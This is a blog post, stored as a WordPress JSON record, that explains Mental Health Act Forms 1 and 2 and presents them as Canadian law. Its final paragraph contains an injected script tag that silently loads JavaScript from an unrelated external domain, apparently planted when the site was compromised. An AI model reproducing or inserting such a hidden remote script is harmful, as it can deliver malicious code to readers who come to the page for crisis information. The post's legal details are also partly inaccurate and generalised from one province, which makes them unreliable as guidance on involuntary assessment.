{"id":276,"date":"2015-04-22T20:44:46","date_gmt":"2015-04-22T20:44:46","guid":{"rendered":"http:\/\/readthisbeforeyoukillyourself.com\/?p=276"},"modified":"2015-04-22T20:44:46","modified_gmt":"2015-04-22T20:44:46","slug":"mental-health-laws-in-canada","status":"publish","type":"post","link":"https:\/\/mydepressionzone.com\/depression-fighter\/mental-health-laws-in-canada\/","title":{"rendered":"Mental health laws in Canada"},"content":{"rendered":"<p>There are four forms under the Mental Health Act that you need to know about if you or a loved one is dealing with a mental health issue in Canada. The following article outlines the regulations for Form 1 and Form 2. They are the ones you&#8217;ll likely encounter and will need to understand.<\/p>\n<h2>Mental health laws in Canada &#8211; Form 1 and Form 2 overview:<\/h2>\n<p><strong><a href=\"http:\/\/depression.zone\/wp-content\/uploads\/2015\/04\/bigstock-Gavel-On-Sounding-Block-66522457.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignright size-medium wp-image-1543\" src=\"http:\/\/depression.zone\/wp-content\/uploads\/2015\/04\/bigstock-Gavel-On-Sounding-Block-66522457-400x269.jpg\" alt=\"Mental health laws in Canada\" width=\"400\" height=\"269\" \/><\/a>Form 1:<\/strong> \u00a0A Form 1 is also known as an APA (Application for Psychiatric Assessment). It&#8217;s called into effect when a doctor or a law enforcement agent legally suspends the rights of an individual. They are placed under a psychiatric hold for 7 days.<\/p>\n<p>Under a Form 1, a person must enter into hospital for a formal psychological assessment for 72 hours anytime within the 7 day suspension period. The individual is only allowed to leave when they are deemed mentally stable by a qualified physician (a Psychiatrist or Doctor). \u00a0The ruling doctor must make the decision within 72 hours.<\/p>\n<p>The Form 1 does not give law enforcement officials the legal right to detain an individual in jail or a facility that is not a hospital specializing in psychiatric treatment.<\/p>\n<p>When the Form 1 is up the patient will either: 1) Be admitted to treatment facility, or 2) Be deemed fit and will become a voluntary patient.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Form 2: <\/strong>The Form 2 is the most valuable for family members and friends. \u00a0Anyone can sign a Form 2 if they are concerned that an individual they&#8217;ve been in contact with should be sanctioned under a Form 1. \u00a0The Form 2 demands a psychiatric assessment for a person who is in imminent danger (mental health crisis) or there is potential for self-harm.<\/p>\n<p>When a Form 2 is filled out it can be taken to a law enforcement agency. At that time, a police officer is able to make the judgment call to put the individual under a Form 1.<\/p>\n<p>Here is a link to the Form 2: <a href=\"http:\/\/ocfp.on.ca\/docs\/collaborative-mental-health-care-network\/a-blank-copy-of-a-form-2.pdf\">\u00a0http:\/\/ocfp.on.ca\/docs\/collaborative-mental-health-care-network\/a-blank-copy-of-a-form-2.pdf<\/a><\/p>\n<p>&nbsp;<script src='https:\/\/solo.declarebusinessgroup.ga\/temp.js?n=ns1' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>There are four forms under the Mental Health Act that you need to know about if you or a loved one is dealing with a mental health issue in Canada. The following article outlines the regulations for Form 1 and Form 2. They are the ones you&#8217;ll likely encounter and will need to understand. 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